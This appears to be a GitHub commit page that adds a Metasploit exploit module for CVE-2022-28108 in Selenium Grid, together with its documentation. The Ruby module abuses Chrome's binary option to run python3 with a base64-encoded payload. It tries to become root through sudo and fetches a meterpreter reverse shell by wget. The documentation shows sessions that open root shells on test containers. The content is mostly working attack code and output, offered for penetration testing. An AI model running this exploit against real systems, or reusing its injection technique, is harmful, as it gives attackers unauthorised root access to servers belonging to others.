Skip to content

Commit 7ead96a

Browse files
dledda-r7dledda-r7
authored
Land rapid7#19769, Add Selenium Chrome RCE module (CVE-2022-28108)
Land rapid7#19769, Add Selenium Chrome RCE module (CVE-2022-28108)
2 parents 43af3db + 0f71c89 commit 7ead96a

File tree

2 files changed

+245
-0
lines changed

2 files changed

+245
-0
lines changed

‎documentation/modules/exploit/linux/http/selenium_greed_chrome_rce_cve_2022_28108.md‎

Lines changed: 112 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,112 @@
1+
## Vulnerable Application
2+
3+
Selenium Server (Grid) before 4.0.0-alpha-7 allows CSRF because it permits non-JSON content types
4+
such as application/x-www-form-urlencoded, multipart/form-data, and text/plain.
5+
6+
The vulnerability affects:
7+
8+
* Selenium Server (Grid) before 4.0.0-alpha-7
9+
10+
This module was successfully tested on:
11+
12+
* selenium/standalone-chrome:3.141.59 installed with Docker on Ubuntu 24.04
13+
* selenium/standalone-chrome:4.0.0-alpha-6-20200730 installed with Docker on Ubuntu 24.04
14+
15+
16+
### Installation
17+
18+
1. `docker pull selenium/standalone-chrome:3.141.59`
19+
20+
2. `docker run -d -p 4444:4444 -p 7900:7900 --shm-size="2g" selenium/standalone-chrome:3.141.59`
21+
22+
23+
## Verification Steps
24+
25+
1. Install the application
26+
2. Start msfconsole
27+
3. Do: `use exploit/linux/http/selenium_greed_chrome_rce_cve_2022_28108`
28+
4. Do: `run lhost=<lhost> rhost=<rhost>`
29+
5. You should get a meterpreter
30+
31+
32+
## Options
33+
34+
35+
## Scenarios
36+
### selenium/standalone-chrome:3.141.59 installed with Docker on Ubuntu 24.04
37+
```
38+
msf6 > use exploit/linux/http/selenium_greed_chrome_rce_cve_2022_28108
39+
[*] Using configured payload cmd/linux/http/x64/meterpreter_reverse_tcp
40+
msf6 exploit(linux/http/selenium_greed_chrome_rce_cve_2022_28108) > options
41+
42+
Module options (exploit/linux/http/selenium_greed_chrome_rce_cve_2022_28108):
43+
44+
Name Current Setting Required Description
45+
---- --------------- -------- -----------
46+
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
47+
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
48+
RPORT 4444 yes The target port (TCP)
49+
SSL false no Negotiate SSL/TLS for outgoing connections
50+
VHOST no HTTP server virtual host
51+
52+
53+
Payload options (cmd/linux/http/x64/meterpreter_reverse_tcp):
54+
55+
Name Current Setting Required Description
56+
---- --------------- -------- -----------
57+
FETCH_COMMAND WGET yes Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET)
58+
FETCH_DELETE true yes Attempt to delete the binary after execution
59+
FETCH_FILENAME OmbNmrIU no Name to use on remote system when storing payload; cannot contain spaces or slashes
60+
FETCH_SRVHOST no Local IP to use for serving payload
61+
FETCH_SRVPORT 8080 yes Local port to use for serving payload
62+
FETCH_URIPATH no Local URI to use for serving payload
63+
FETCH_WRITABLE_DIR yes Remote writable dir to store payload; cannot contain spaces
64+
LHOST yes The listen address (an interface may be specified)
65+
LPORT 4444 yes The listen port
66+
67+
68+
Exploit target:
69+
70+
Id Name
71+
-- ----
72+
0 Linux Command
73+
74+
75+
76+
View the full module info with the info, or info -d command.
77+
78+
msf6 exploit(linux/http/selenium_greed_chrome_rce_cve_2022_28108) > run lhost=192.168.56.1 rhost=192.168.56.16 rport=4444
79+
[*] Started reverse TCP handler on 192.168.56.1:4444
80+
[*] Running automatic check ("set AutoCheck false" to disable)
81+
[+] The target appears to be vulnerable. Version 3.141.59 detected, which is vulnerable.
82+
[*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.16:40990) at 2024-12-30 13:33:31 +0900
83+
84+
meterpreter > getuid
85+
Server username: root
86+
meterpreter > sysinfo
87+
Computer : 172.17.0.5
88+
OS : Ubuntu 20.04 (Linux 6.8.0-51-generic)
89+
Architecture : x64
90+
BuildTuple : x86_64-linux-musl
91+
Meterpreter : x64/linux
92+
meterpreter >
93+
```
94+
95+
### selenium/standalone-chrome:4.0.0-alpha-6-20200730 installed with Docker on Ubuntu 24.04
96+
```
97+
msf6 exploit(linux/http/selenium_greed_chrome_rce_cve_2022_28108) > run lhost=192.168.56.1 rhost=192.168.56.16 rport=4447
98+
[*] Started reverse TCP handler on 192.168.56.1:4444
99+
[*] Running automatic check ("set AutoCheck false" to disable)
100+
[!] The service is running, but could not be validated. Selenium Grid version 4.x detected.
101+
[*] Meterpreter session 2 opened (192.168.56.1:4444 -> 192.168.56.16:34888) at 2024-12-30 13:34:30 +0900
102+
103+
meterpreter > getuid
104+
Server username: root
105+
meterpreter > sysinfo
106+
Computer : 172.17.0.6
107+
OS : Ubuntu 18.04 (Linux 6.8.0-51-generic)
108+
Architecture : x64
109+
BuildTuple : x86_64-linux-musl
110+
Meterpreter : x64/linux
111+
meterpreter >
112+
```

‎modules/exploits/linux/http/selenium_greed_chrome_rce_cve_2022_28108.rb‎

Lines changed: 133 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,133 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Exploit::Remote
7+
Rank = ExcellentRanking
8+
9+
include Msf::Exploit::Remote::HttpClient
10+
prepend Msf::Exploit::Remote::AutoCheck
11+
12+
def initialize(info = {})
13+
super(
14+
update_info(
15+
info,
16+
'Name' => 'Selenium chrome RCE',
17+
'Description' => %q{
18+
Selenium Server (Grid) before 4.0.0-alpha-7 allows CSRF because it permits non-JSON content types
19+
such as application/x-www-form-urlencoded, multipart/form-data, and text/plain.
20+
},
21+
'Author' => [
22+
'randomstuff (Gabriel Corona)', # Exploit development
23+
'Wiz Research', # Vulnerability research
24+
'Takahiro Yokoyama' # Metasploit module
25+
],
26+
'License' => MSF_LICENSE,
27+
'References' => [
28+
['CVE', '2022-28108'],
29+
['URL', 'https://www.wiz.io/blog/seleniumgreed-cryptomining-exploit-attack-flow-remediation-steps'],
30+
['URL', 'https://www.gabriel.urdhr.fr/2022/02/07/selenium-standalone-server-csrf-dns-rebinding-rce/'],
31+
],
32+
'Payload' => {},
33+
'Platform' => %w[linux],
34+
'Targets' => [
35+
[
36+
'Linux Command', {
37+
'Arch' => [ ARCH_CMD ], 'Platform' => [ 'unix', 'linux' ], 'Type' => :nix_cmd,
38+
'DefaultOptions' => {
39+
# tested cmd/linux/http/x64/meterpreter_reverse_tcp
40+
'FETCH_COMMAND' => 'WGET'
41+
}
42+
}
43+
],
44+
],
45+
'DefaultOptions' => {
46+
'FETCH_DELETE' => true
47+
},
48+
'DefaultTarget' => 0,
49+
'DisclosureDate' => '2022-04-18',
50+
'Notes' => {
51+
'Stability' => [ CRASH_SAFE, ],
52+
'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],
53+
'Reliability' => [ REPEATABLE_SESSION, ]
54+
}
55+
)
56+
)
57+
register_options(
58+
[
59+
Opt::RPORT(4444),
60+
]
61+
)
62+
end
63+
64+
def check
65+
# Request for Selenium Grid version 4
66+
v4res = send_request_cgi({
67+
'method' => 'GET',
68+
'uri' => normalize_uri(target_uri.path, 'status')
69+
})
70+
return Exploit::CheckCode::Detected('Selenium Grid version 4.x detected.') if v4res && v4res.get_json_document &&
71+
v4res.get_json_document.include?('value') &&
72+
v4res.get_json_document['value'].include?('message') &&
73+
v4res.get_json_document['value']['message'].downcase.include?('selenium grid')
74+
75+
# Request for Selenium Grid version 3
76+
v3res = send_request_cgi({
77+
'method' => 'GET',
78+
'uri' => normalize_uri(target_uri.path)
79+
})
80+
return Exploit::CheckCode::Unknown('Unexpected server reply.') unless v3res&.code == 200
81+
82+
js_code = v3res.get_html_document.css('script').find { |script| script.text.match(/var json = Object.freeze\('(.*?)'\);/) }
83+
return Exploit::CheckCode::Unknown('Unable to determine the version.') unless js_code
84+
85+
json_str = js_code.text.match(/var json = Object.freeze\('(.*?)'\);/)[1]
86+
begin
87+
json_data = JSON.parse(json_str)
88+
rescue JSON::ParserError
89+
return Exploit::CheckCode::Unknown('Unable to determine the version.')
90+
end
91+
return Exploit::CheckCode::Unknown('Unable to determine the version.') unless json_data && json_data.include?('version') && json_data['version']
92+
93+
# Extract the version
94+
version = Rex::Version.new(json_data['version'])
95+
if version == Rex::Version.new('4.0.0-alpha-7') || Rex::Version.new('4.0.1') <= version
96+
return Exploit::CheckCode::Safe("Version #{version} detected, which is not vulnerable.")
97+
end
98+
99+
CheckCode::Appears("Version #{version} detected, which is vulnerable.")
100+
end
101+
102+
def exploit
103+
b64encoded_payload = Rex::Text.encode_base64(
104+
"if sudo -n true 2>/dev/null; then\n"\
105+
" echo #{Rex::Text.encode_base64(payload.encoded)} | base64 -d | sudo su root -c /bin/bash\n"\
106+
"else\n"\
107+
" #{payload.encoded}\n"\
108+
"fi\n"
109+
)
110+
111+
# Create the request body as a Ruby hash and then convert it to JSON
112+
body = {
113+
'capabilities' => {
114+
'alwaysMatch' => {
115+
'browserName' => 'chrome',
116+
'goog:chromeOptions' => {
117+
'binary' => '/usr/bin/python3',
118+
'args' => ["-cimport base64,os; bp=b'#{b64encoded_payload}'; os.system(base64.b64decode(bp).decode())"]
119+
}
120+
}
121+
}
122+
}.to_json
123+
124+
res = send_request_cgi({
125+
'method' => 'POST',
126+
'uri' => normalize_uri(target_uri.path, 'wd/hub/session'),
127+
'headers' => { 'Content-Type' => 'text/plain' },
128+
'data' => body
129+
})
130+
fail_with(Failure::Unknown, 'Unexpected server reply.') unless res
131+
end
132+
133+
end

0 commit comments

Comments
 (0)